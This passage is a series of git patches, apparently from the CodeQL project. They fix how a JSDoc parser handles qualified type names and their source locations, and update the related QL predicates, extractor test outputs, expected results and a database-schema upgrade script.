-#20208=@"loc,{#10000},1,1,1,0" -locations_default(#20208,#10000,1,1,1,0) -hasLocation(#20207,#20208) -#20209=* -exit_cfg_node(#20209,#20001) -hasLocation(#20209,#20105) -successor(#20207,#20209) +#20210=@"loc,{#10000},1,1,43,0" +locations_default(#20210,#10000,1,1,43,0) +hasLocation(#20001,#20210) +#20211=* +entry_cfg_node(#20211,#20001) +#20212=@"loc,{#10000},1,1,1,0" +locations_default(#20212,#10000,1,1,1,0) +hasLocation(#20211,#20212) +#20213=* +exit_cfg_node(#20213,#20001) +hasLocation(#20213,#20105) +successor(#20211,#20213) numlines(#10000,42,0,37) filetype(#10000,"javascript") From 6868f661087209d5d42813f9d041364834098d55 Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 20 Mar 2025 14:14:08 +0100 Subject: [PATCH 099/121] JS: Restrict size of hasNameParts Test updates look OK. Some intermediate results are omitted but the qualified name of the final type names are still present. --- javascript/ql/lib/semmle/javascript/JSDoc.qll | 1 + .../test/library-tests/JSDoc/NameResolution/test.expected | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/JSDoc.qll b/javascript/ql/lib/semmle/javascript/JSDoc.qll index 9ea517cb075..10970a2e8b0 100644 --- a/javascript/ql/lib/semmle/javascript/JSDoc.qll +++ b/javascript/ql/lib/semmle/javascript/JSDoc.qll @@ -372,6 +372,7 @@ class JSDocNamedTypeExpr extends JSDocTypeExpr { * - `Baz` has prefix `Baz` and an empty suffix. */ predicate hasNameParts(string prefix, string suffix) { + not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate exists(string regex, string name | regex = "([^.]+)(.*)" | name = this.getRawName() and prefix = name.regexpCapture(regex, 1) and diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected index 855d1b59ff6..f57affb6367 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected @@ -1,10 +1,10 @@ -| bar.js:5:14:5:18 | x | ns.very.long.namespace | +| bar.js:5:14:5:18 | x | x | | bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo | -| bar.js:12:14:12:21 | iife | IIFE | +| bar.js:12:14:12:21 | iife | iife | | bar.js:12:14:12:21 | iife.Foo | IIFE.Foo | | closure.js:8:12:8:28 | goog | goog | | closure.js:8:12:8:28 | goog.net | goog.net | | closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType | -| closure.js:9:12:9:23 | net | goog.net | +| closure.js:9:12:9:23 | net | net | | closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType | | closure.js:10:12:10:19 | SomeType | goog.net.SomeType | From cc2bec08084bd28cea64d51c4b02e2827c521954 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 21 Mar 2025 10:44:10 +0100 Subject: [PATCH 100/121] JS: Ensure correct value is used in parseNameExpression() The call to expect() below here updates 'token' and 'value' to that of the NEXT token (not the name). The code happened to work because the 'value' field is only updated if a token with a relevant value is found. E.g. if a name token could be followed by another name, then we would have seen the wrong name here. --- javascript/extractor/src/com/semmle/js/parser/JSDocParser.java | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java index e1b8b8b72ba..21c26968adc 100644 --- a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java +++ b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java @@ -829,6 +829,7 @@ public class JSDocParser { private JSDocTypeExpression parseNameExpression() throws ParseError { SourceLocation loc = loc(); + Object value = this.value; // save the value of the current token expect(Token.NAME); // Hacky initial implementation with wrong locations String[] parts = value.toString().split("\\."); From c8817d96679112c52d8fa22fbd03314f9619a108 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 21 Mar 2025 10:54:16 +0100 Subject: [PATCH 101/121] JS: Parse with proper locations --- .../src/com/semmle/js/parser/JSDocParser.java | 31 +-- .../tests/comments/output/trap/jsdoc.js.trap | 248 +++++++++--------- .../JSDoc/NameResolution/test.expected | 10 +- 3 files changed, 146 insertions(+), 143 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java index 21c26968adc..f1b13565191 100644 --- a/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java +++ b/javascript/extractor/src/com/semmle/js/parser/JSDocParser.java @@ -114,7 +114,7 @@ public class JSDocParser { } private static boolean isTypeName(char ch) { - return "><(){}[],:*|?!=".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch); + return "><(){}[],:*|?!=.".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch); } private static boolean isParamTitle(String title) { @@ -536,20 +536,9 @@ public class JSDocParser { } private Token scanTypeName() { - char ch, ch2; - StringBuilder sb = new StringBuilder(); sb.append((char)advance()); while (index < endIndex && isTypeName(source.charAt(index))) { - ch = source.charAt(index); - if (ch == '.') { - if ((index + 1) < endIndex) { - ch2 = source.charAt(index + 1); - if (ch2 == '<') { - break; - } - } - } sb.append((char)advance()); } value = sb.toString(); @@ -827,15 +816,21 @@ public class JSDocParser { return finishNode(new RecordType(loc, fields)); } - private JSDocTypeExpression parseNameExpression() throws ParseError { + private Identifier parseIdentifier() throws ParseError { SourceLocation loc = loc(); Object value = this.value; // save the value of the current token expect(Token.NAME); - // Hacky initial implementation with wrong locations - String[] parts = value.toString().split("\\."); - JSDocTypeExpression node = finishNode(new Identifier(loc, parts[0])); - for (int i = 1; i < parts.length; i++) { - Identifier memberName = finishNode(new Identifier(loc, parts[i])); + return finishNode(new Identifier(loc, value.toString())); + } + + private JSDocTypeExpression parseNameExpression() throws ParseError { + JSDocTypeExpression node = parseIdentifier(); + while (token == Token.DOT) { + consume(Token.DOT); + Identifier memberName = parseIdentifier(); + // Create a SourceLocation object with the correct start location. + // The call to finishNode() will set the end location. + SourceLocation loc = new SourceLocation(node.getLoc()); node = finishNode(new QualifiedNameExpression(loc, node, memberName)); } return node; diff --git a/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap b/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap index b88a66b4f48..910c567993f 100644 --- a/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap +++ b/javascript/extractor/tests/comments/output/trap/jsdoc.js.trap @@ -523,156 +523,164 @@ locations_default(#20160,#10000,11,26,11,37) hasLocation(#20159,#20160) #20161=* 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-#20168=@"loc,{#10000},12,13,12,21" -locations_default(#20168,#10000,12,13,12,21) +jsdoc_type_exprs(#20167,5,#20159,1,"Menu") +#20168=@"loc,{#10000},11,34,11,37" +locations_default(#20168,#10000,11,34,11,37) hasLocation(#20167,#20168) +jsdoc_has_new_parameter(#20145) #20169=* -jsdoc_type_exprs(#20169,5,#20167,0,"number") -#20170=@"loc,{#10000},12,16,12,21" -locations_default(#20170,#10000,12,16,12,21) +jsdoc_tags(#20169,"param",#20117,4,"@param") +#20170=@"loc,{#10000},12,5,12,10" +locations_default(#20170,#10000,12,5,12,10) hasLocation(#20169,#20170) +jsdoc_tag_names(#20169,"var_args") #20171=* -jsdoc(#20171,"",#20010) -hasLocation(#20171,#20011) -#20172=* -jsdoc_tags(#20172,"param",#20171,0,"@param") -#20173=@"loc,{#10000},15,4,15,9" -locations_default(#20173,#10000,15,4,15,9) -hasLocation(#20172,#20173) -#20174=* -jsdoc_errors(#20174,#20172,"Missing or invalid tag name","Missing ... ag name") +jsdoc_type_exprs(#20171,14,#20169,0,"...number") +#20172=@"loc,{#10000},12,13,12,21" +locations_default(#20172,#10000,12,13,12,21) +hasLocation(#20171,#20172) +#20173=* +jsdoc_type_exprs(#20173,5,#20171,0,"number") +#20174=@"loc,{#10000},12,16,12,21" +locations_default(#20174,#10000,12,16,12,21) +hasLocation(#20173,#20174) #20175=* -jsdoc_tags(#20175,"param",#20171,1,"@param") -#20176=@"loc,{#10000},16,4,16,9" -locations_default(#20176,#10000,16,4,16,9) -hasLocation(#20175,#20176) -jsdoc_tag_names(#20175,"x") -#20177=* -jsdoc(#20177,"",#20012) -hasLocation(#20177,#20013) +jsdoc(#20175,"",#20010) +hasLocation(#20175,#20011) +#20176=* +jsdoc_tags(#20176,"param",#20175,0,"@param") +#20177=@"loc,{#10000},15,4,15,9" +locations_default(#20177,#10000,15,4,15,9) +hasLocation(#20176,#20177) #20178=* -jsdoc_tags(#20178,"",#20177,0,"@") -#20179=@"loc,{#10000},20,4,20,4" -locations_default(#20179,#10000,20,4,20,4) -hasLocation(#20178,#20179) -jsdoc_tag_descriptions(#20178,"{link a}") -#20180=* -jsdoc_errors(#20180,#20178,"Missing or invalid title","Missing ... d title") +jsdoc_errors(#20178,#20176,"Missing or invalid tag name","Missing ... ag name") +#20179=* +jsdoc_tags(#20179,"param",#20175,1,"@param") +#20180=@"loc,{#10000},16,4,16,9" +locations_default(#20180,#10000,16,4,16,9) +hasLocation(#20179,#20180) +jsdoc_tag_names(#20179,"x") #20181=* -jsdoc(#20181,"",#20014) -hasLocation(#20181,#20015) +jsdoc(#20181,"",#20012) +hasLocation(#20181,#20013) #20182=* -jsdoc_tags(#20182,"typedef",#20181,0,"@typedef") -#20183=@"loc,{#10000},24,4,24,11" -locations_default(#20183,#10000,24,4,24,11) +jsdoc_tags(#20182,"",#20181,0,"@") +#20183=@"loc,{#10000},20,4,20,4" +locations_default(#20183,#10000,20,4,20,4) hasLocation(#20182,#20183) -jsdoc_tag_descriptions(#20182,"{a}") +jsdoc_tag_descriptions(#20182,"{link a}") #20184=* -jsdoc_errors(#20184,#20182,"Missing or invalid tag type","Missing ... ag type") +jsdoc_errors(#20184,#20182,"Missing or invalid title","Missing ... d title") #20185=* -jsdoc(#20185,"[resize description]",#20016) -hasLocation(#20185,#20017) +jsdoc(#20185,"",#20014) +hasLocation(#20185,#20015) #20186=* -jsdoc_tags(#20186,"param",#20185,0,"@param") -#20187=@"loc,{#10000},30,4,30,9" -locations_default(#20187,#10000,30,4,30,9) +jsdoc_tags(#20186,"typedef",#20185,0,"@typedef") +#20187=@"loc,{#10000},24,4,24,11" +locations_default(#20187,#10000,24,4,24,11) hasLocation(#20186,#20187) -jsdoc_tag_descriptions(#20186,"[description] -") -jsdoc_tag_names(#20186,"w") +jsdoc_tag_descriptions(#20186,"{a}") #20188=* -jsdoc_type_exprs(#20188,10,#20186,0,"[type]") -#20189=@"loc,{#10000},30,13,30,18" -locations_default(#20189,#10000,30,13,30,18) -hasLocation(#20188,#20189) +jsdoc_errors(#20188,#20186,"Missing or invalid tag type","Missing ... ag type") +#20189=* +jsdoc(#20189,"[resize description]",#20016) +hasLocation(#20189,#20017) #20190=* -jsdoc_type_exprs(#20190,5,#20188,0,"type") -#20191=@"loc,{#10000},30,14,30,17" -locations_default(#20191,#10000,30,14,30,17) +jsdoc_tags(#20190,"param",#20189,0,"@param") +#20191=@"loc,{#10000},30,4,30,9" +locations_default(#20191,#10000,30,4,30,9) hasLocation(#20190,#20191) +jsdoc_tag_descriptions(#20190,"[description] +") +jsdoc_tag_names(#20190,"w") #20192=* -jsdoc_tags(#20192,"param",#20185,1,"@param") -#20193=@"loc,{#10000},31,4,31,9" -locations_default(#20193,#10000,31,4,31,9) +jsdoc_type_exprs(#20192,10,#20190,0,"[type]") +#20193=@"loc,{#10000},30,13,30,18" +locations_default(#20193,#10000,30,13,30,18) hasLocation(#20192,#20193) -jsdoc_tag_descriptions(#20192,"[description] -") #20194=* -jsdoc_tags(#20194,"return",#20185,2,"@return") -#20195=@"loc,{#10000},32,4,32,10" -locations_default(#20195,#10000,32,4,32,10) +jsdoc_type_exprs(#20194,5,#20192,0,"type") +#20195=@"loc,{#10000},30,14,30,17" +locations_default(#20195,#10000,30,14,30,17) hasLocation(#20194,#20195) -jsdoc_tag_descriptions(#20194,"[description]") #20196=* -jsdoc_type_exprs(#20196,10,#20194,0,"[type]") -#20197=@"loc,{#10000},32,13,32,18" -locations_default(#20197,#10000,32,13,32,18) +jsdoc_tags(#20196,"param",#20189,1,"@param") +#20197=@"loc,{#10000},31,4,31,9" +locations_default(#20197,#10000,31,4,31,9) hasLocation(#20196,#20197) -#20198=* -jsdoc_type_exprs(#20198,5,#20196,0,"type") -#20199=@"loc,{#10000},32,14,32,17" -locations_default(#20199,#10000,32,14,32,17) -hasLocation(#20198,#20199) -#20200=* -jsdoc(#20200,"",#20018) -hasLocation(#20200,#20019) -#20201=* -jsdoc_tags(#20201,"exports",#20200,0,"@exports") -#20202=@"loc,{#10000},36,3,36,10" -locations_default(#20202,#10000,36,3,36,10) -hasLocation(#20201,#20202) -jsdoc_tag_descriptions(#20201,"R +jsdoc_tag_descriptions(#20196,"[description] ") -#20203=* -jsdoc(#20203,"",#20020) -hasLocation(#20203,#20021) +#20198=* +jsdoc_tags(#20198,"return",#20189,2,"@return") +#20199=@"loc,{#10000},32,4,32,10" +locations_default(#20199,#10000,32,4,32,10) +hasLocation(#20198,#20199) +jsdoc_tag_descriptions(#20198,"[description]") +#20200=* +jsdoc_type_exprs(#20200,10,#20198,0,"[type]") +#20201=@"loc,{#10000},32,13,32,18" +locations_default(#20201,#10000,32,13,32,18) +hasLocation(#20200,#20201) +#20202=* +jsdoc_type_exprs(#20202,5,#20200,0,"type") +#20203=@"loc,{#10000},32,14,32,17" +locations_default(#20203,#10000,32,14,32,17) +hasLocation(#20202,#20203) #20204=* -jsdoc_tags(#20204,"typedef",#20203,0,"@typedef") -#20205=@"loc,{#10000},41,4,41,11" -locations_default(#20205,#10000,41,4,41,11) -hasLocation(#20204,#20205) -#20206=* -jsdoc_type_exprs(#20206,9,#20204,0,"{0: number}") -#20207=@"loc,{#10000},41,14,41,24" -locations_default(#20207,#10000,41,14,41,24) -hasLocation(#20206,#20207) -jsdoc_record_field_name(#20206,0,"0") +jsdoc(#20204,"",#20018) +hasLocation(#20204,#20019) +#20205=* +jsdoc_tags(#20205,"exports",#20204,0,"@exports") +#20206=@"loc,{#10000},36,3,36,10" +locations_default(#20206,#10000,36,3,36,10) +hasLocation(#20205,#20206) +jsdoc_tag_descriptions(#20205,"R +") +#20207=* +jsdoc(#20207,"",#20020) +hasLocation(#20207,#20021) #20208=* -jsdoc_type_exprs(#20208,5,#20206,0,"number") -#20209=@"loc,{#10000},41,18,41,23" -locations_default(#20209,#10000,41,18,41,23) +jsdoc_tags(#20208,"typedef",#20207,0,"@typedef") +#20209=@"loc,{#10000},41,4,41,11" +locations_default(#20209,#10000,41,4,41,11) hasLocation(#20208,#20209) +#20210=* +jsdoc_type_exprs(#20210,9,#20208,0,"{0: number}") +#20211=@"loc,{#10000},41,14,41,24" +locations_default(#20211,#10000,41,14,41,24) +hasLocation(#20210,#20211) +jsdoc_record_field_name(#20210,0,"0") +#20212=* +jsdoc_type_exprs(#20212,5,#20210,0,"number") +#20213=@"loc,{#10000},41,18,41,23" +locations_default(#20213,#10000,41,18,41,23) +hasLocation(#20212,#20213) toplevels(#20001,0) -#20210=@"loc,{#10000},1,1,43,0" -locations_default(#20210,#10000,1,1,43,0) -hasLocation(#20001,#20210) -#20211=* -entry_cfg_node(#20211,#20001) -#20212=@"loc,{#10000},1,1,1,0" -locations_default(#20212,#10000,1,1,1,0) -hasLocation(#20211,#20212) -#20213=* -exit_cfg_node(#20213,#20001) -hasLocation(#20213,#20105) -successor(#20211,#20213) +#20214=@"loc,{#10000},1,1,43,0" +locations_default(#20214,#10000,1,1,43,0) +hasLocation(#20001,#20214) +#20215=* +entry_cfg_node(#20215,#20001) +#20216=@"loc,{#10000},1,1,1,0" +locations_default(#20216,#10000,1,1,1,0) +hasLocation(#20215,#20216) +#20217=* +exit_cfg_node(#20217,#20001) +hasLocation(#20217,#20105) +successor(#20215,#20217) numlines(#10000,42,0,37) filetype(#10000,"javascript") diff --git a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected index f57affb6367..97730513195 100644 --- a/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected +++ b/javascript/ql/test/library-tests/JSDoc/NameResolution/test.expected @@ -1,10 +1,10 @@ -| bar.js:5:14:5:18 | x | x | +| bar.js:5:14:5:14 | x | x | | bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo | -| bar.js:12:14:12:21 | iife | iife | +| bar.js:12:14:12:17 | iife | iife | | bar.js:12:14:12:21 | iife.Foo | IIFE.Foo | -| closure.js:8:12:8:28 | goog | goog | -| closure.js:8:12:8:28 | goog.net | goog.net | +| closure.js:8:12:8:15 | goog | goog | +| closure.js:8:12:8:19 | goog.net | goog.net | | closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType | -| closure.js:9:12:9:23 | net | net | +| closure.js:9:12:9:14 | net | net | | closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType | | closure.js:10:12:10:19 | SomeType | goog.net.SomeType | From 50202d574fa8ddb1f630bda123ddaebd798fbed3 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 21 Mar 2025 10:55:55 +0100 Subject: [PATCH 102/121] JS: Update some deprecated calls to getName() --- javascript/ql/lib/semmle/javascript/DOM.qll | 2 +- javascript/ql/lib/semmle/javascript/Externs.qll | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/DOM.qll b/javascript/ql/lib/semmle/javascript/DOM.qll index 6c6d70fede8..50a529b4a53 100644 --- a/javascript/ql/lib/semmle/javascript/DOM.qll +++ b/javascript/ql/lib/semmle/javascript/DOM.qll @@ -296,7 +296,7 @@ module DOM { .getType() .getAnUnderlyingType() .(JSDocNamedTypeExpr) - .getName()) + .getRawName()) ) } diff --git a/javascript/ql/lib/semmle/javascript/Externs.qll b/javascript/ql/lib/semmle/javascript/Externs.qll index 9787de6f464..a2a2533d849 100644 --- a/javascript/ql/lib/semmle/javascript/Externs.qll +++ b/javascript/ql/lib/semmle/javascript/Externs.qll @@ -400,8 +400,8 @@ class ConstructorTag extends JSDocTag { abstract private class NamedTypeReferent extends JSDocTag { /** Gets the name of the type to which this tag refers. */ string getTarget() { - result = this.getType().(JSDocNamedTypeExpr).getName() or - result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getName() + result = this.getType().(JSDocNamedTypeExpr).getRawName() or + result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getRawName() } /** @@ -423,7 +423,7 @@ abstract private class NamedTypeReferent extends JSDocTag { * Gets the source declaration of the type to which `tp` refers, if any. */ private ExternalType sourceDecl(JSDocTypeExpr tp) { - result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getName() or + result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getRawName() or result = sourceDecl(tp.(JSDocAppliedTypeExpr).getHead()) or result = sourceDecl(tp.(JSDocNullableTypeExpr).getTypeExpr()) or result = sourceDecl(tp.(JSDocNonNullableTypeExpr).getTypeExpr()) or From da269c6fb1763b504124ae45132e478012dd3e7b Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 21 Mar 2025 11:12:27 +0100 Subject: [PATCH 103/121] JS: More test updates --- .../library-tests/JSDoc/Nodes/tests.expected | 28 +++++++++---------- .../JSDoc/JSDocTypeAnnotations.expected | 4 +-- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected b/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected index 7ed69cb851f..8c243f7a804 100644 --- a/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected +++ b/javascript/ql/test/library-tests/JSDoc/Nodes/tests.expected @@ -278,11 +278,11 @@ test_JSDocTypeExpr | tst.js:26:14:26:20 | boolean | tst.js:26:5:26:11 | @define | 0 | | tst.js:31:13:31:19 | boolean | tst.js:31:4:31:10 | @return | 0 | | tst.js:53:11:53:16 | number | tst.js:53:4:53:8 | @enum | 0 | -| tst.js:68:14:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 | -| tst.js:68:14:68:34 | ds | tst.js:68:14:68:34 | goog.ds | 1 | -| tst.js:68:14:68:34 | goog | tst.js:68:14:68:34 | goog.ds | 0 | -| tst.js:68:14:68:34 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 | +| tst.js:68:14:68:17 | goog | tst.js:68:14:68:20 | goog.ds | 0 | +| tst.js:68:14:68:20 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 | | tst.js:68:14:68:34 | goog.ds.BasicNodeList | tst.js:68:4:68:11 | @extends | 0 | +| tst.js:68:19:68:20 | ds | tst.js:68:14:68:20 | goog.ds | 1 | +| tst.js:68:22:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 | | tst.js:95:17:95:21 | Shape | tst.js:95:4:95:14 | @implements | 0 | | tst.js:110:14:110:18 | Shape | tst.js:110:4:110:11 | @extends | 0 | | tst.js:134:13:134:18 | Object | tst.js:134:4:134:10 | @return | 0 | @@ -302,9 +302,9 @@ test_JSDocTypeExpr | tst.js:216:15:216:29 | (string\|number) | tst.js:216:5:216:12 | @typedef | 0 | | tst.js:216:16:216:21 | string | tst.js:216:15:216:29 | (string\|number) | 0 | | tst.js:216:23:216:28 | number | tst.js:216:15:216:29 | (string\|number) | 1 | -| tst.js:219:13:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 | -| tst.js:219:13:219:27 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 | +| tst.js:219:13:219:16 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 | | tst.js:219:13:219:27 | goog.NumberLike | tst.js:219:5:219:10 | @param | 0 | +| tst.js:219:18:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 | | tst.js:223:12:223:36 | {myNum: number, myObject} | tst.js:223:5:223:9 | @type | 0 | | tst.js:223:20:223:25 | number | tst.js:223:12:223:36 | {myNum: number, myObject} | 0 | | tst.js:226:12:226:17 | number | tst.js:226:12:226:18 | number? | 0 | @@ -317,18 +317,18 @@ test_JSDocTypeExpr | tst.js:234:12:234:29 | function (): number | tst.js:234:4:234:9 | @param | 0 | | tst.js:234:24:234:29 | number | tst.js:234:12:234:29 | function (): number | -1 | | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | tst.js:235:4:235:9 | @param | 0 | -| tst.js:235:26:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 | -| tst.js:235:26:235:37 | goog | tst.js:235:26:235:37 | goog.ui | 0 | -| tst.js:235:26:235:37 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 | +| tst.js:235:26:235:29 | goog | tst.js:235:26:235:32 | goog.ui | 0 | +| tst.js:235:26:235:32 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 | | tst.js:235:26:235:37 | goog.ui.Menu | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | -2 | -| tst.js:235:26:235:37 | ui | tst.js:235:26:235:37 | goog.ui | 1 | +| tst.js:235:31:235:32 | ui | tst.js:235:26:235:32 | goog.ui | 1 | +| tst.js:235:34:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 | | tst.js:235:40:235:45 | string | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | 0 | | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | tst.js:236:4:236:9 | @param | 0 | -| tst.js:236:25:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 | -| tst.js:236:25:236:36 | goog | tst.js:236:25:236:36 | goog.ui | 0 | -| tst.js:236:25:236:36 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 | +| tst.js:236:25:236:28 | goog | tst.js:236:25:236:31 | goog.ui | 0 | +| tst.js:236:25:236:31 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 | | tst.js:236:25:236:36 | goog.ui.Menu | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | -2 | -| tst.js:236:25:236:36 | ui | tst.js:236:25:236:36 | goog.ui | 1 | +| tst.js:236:30:236:31 | ui | tst.js:236:25:236:31 | goog.ui | 1 | +| tst.js:236:33:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 | | tst.js:236:39:236:44 | string | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | 0 | | tst.js:237:12:237:48 | function (string, ...[number]): number | tst.js:237:4:237:9 | @param | 0 | | tst.js:237:21:237:26 | string | tst.js:237:12:237:48 | function (string, ...[number]): number | 0 | diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected index 983388d69a2..8ac3eea2be5 100644 --- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected +++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected @@ -5,8 +5,8 @@ test_isNumber test_QualifiedName | VarType | tst.js:9:13:9:19 | VarType | | boolean | tst.js:5:14:5:20 | boolean | -| foo | tst.js:4:12:4:22 | foo | -| foo.bar | tst.js:4:12:4:22 | foo.bar | +| foo | tst.js:4:12:4:14 | foo | +| foo.bar | tst.js:4:12:4:18 | foo.bar | | foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz | | number | tst.js:3:12:3:17 | number | | string | tst.js:2:12:2:17 | string | From 02ee8cfe2d510a8e1704eeefdb1338ac397db2b5 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 24 Mar 2025 09:21:54 +0100 Subject: [PATCH 104/121] JS: Add upgrade script --- .../old.dbscheme | 1193 ++++++++++++++++ .../semmlecode.javascript.dbscheme | 1194 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 2389 insertions(+) create mode 100644 javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme create mode 100644 javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme create mode 100644 javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme new file mode 100644 index 00000000000..5b5db607d20 --- /dev/null +++ b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/old.dbscheme @@ -0,0 +1,1193 @@ +/*** Standard fragments ***/ + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- JavaScript-specific part -*/ + +@location = @location_default + +@sourceline = @locatable; + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +is_externs (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url +| 4 = @template_toplevel; + +is_module (int tl: @toplevel ref); +is_nodejs (int tl: @toplevel ref); +is_es2015_module (int tl: @toplevel ref); +is_closure_module (int tl: @toplevel ref); + +@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag; +toplevel_parent_xml_node( + unique int toplevel: @toplevel ref, + int xmlnode: @xml_node_with_code ref); + +xml_element_parent_expression( + unique int xmlnode: @xmlelement ref, + int expression: @expr ref, + int index: int ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmt_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmt_containers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jump_targets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer; +@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration; + +case @stmt.kind of + 0 = @empty_stmt +| 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @labeled_stmt +| 5 = @break_stmt +| 6 = @continue_stmt +| 7 = @with_stmt +| 8 = @switch_stmt +| 9 = @return_stmt +| 10 = @throw_stmt +| 11 = @try_stmt +| 12 = @while_stmt +| 13 = @do_while_stmt +| 14 = @for_stmt +| 15 = @for_in_stmt +| 16 = @debugger_stmt 